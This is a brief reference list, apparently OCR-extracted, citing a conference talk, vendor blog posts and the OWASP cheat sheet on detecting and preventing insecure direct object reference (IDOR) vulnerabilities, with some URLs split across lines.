o Mehmet Ince —https://www.youtube.com/watch?v=TsJ2XPuGelk&
t=5156s

e https://www.eccouncil.org/cybersecurity-exchange/web-application-

idor-vulnerability-detection-prevention/
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e https://www.invicti.com/blog/web-security/insecure-direct-object-

e https://cheatsheetseries.owasp.org/cheatsheets/Insecure_

Direct_(Object_Reference_Prevention_Cheat_Sheet.html
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